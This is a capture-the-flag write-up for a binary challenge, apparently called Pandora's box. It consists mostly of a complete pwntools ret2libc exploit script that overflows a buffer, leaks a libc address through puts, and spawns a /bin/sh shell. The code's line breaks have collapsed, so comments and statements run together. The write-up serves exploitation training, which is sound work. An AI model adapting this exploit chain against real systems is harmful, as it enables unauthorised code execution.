You stumbled upon one of Pandora's mythical boxes. Would you be curious enough to open it and see what's inside, or would you opt to give it to your team for analysis?
Solution
Classic ret2libc attack. First, find the offset to RIP.
Next, leak lib-c foothold with puts() then redirect execution flow to the beginning of the box function and this time, ret2system.
from pwn import*defstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify your GDB script here for debugginggdbscript ='''init-pwndbgbreak *0x4013a5continue'''.format(**locals())# Set up pwntools for the correct architectureexe ='./pb'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Enable verbose logging so we can see exactly what is being sent (info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Lib-C librarylibc =ELF('glibc/libc.so.6')# OFfset to RIPoffset =56# Start programio =start()# POP RDI from ropperpop_rdi =0x40142bret =0x401016# Payload to leak libc functionpayload =flat({ offset: [ pop_rdi, elf.got.puts, elf.plt.puts, elf.symbols.box ]})# Second menu optionio.sendlineafter(b'>', b'2')# Send the payloadio.sendlineafter(b':', payload)io.recvlines(3)# Receive the newlines# Retrieve got.puts addressgot_puts =unpack(io.recv()[:6].ljust(8, b'\x00'))info("leaked got_puts: %#x", got_puts)# Subtract puts offset to get libc baselibc.address = got_puts - libc.symbols.putsinfo("libc_base: %#x", libc.address)# System(/bin/sh)info("system_addr: %#x", libc.symbols.system)bin_sh =next(libc.search(b'/bin/sh\x00'))info("bin_sh: %#x", bin_sh)# Payload to get shellpayload =flat({ offset: [ pop_rdi, bin_sh, ret, libc.symbols.system ]})# Second menu optionio.sendline(b'2')# Send the payloadio.sendlineafter(b':', payload)# Got Shell?io.interactive()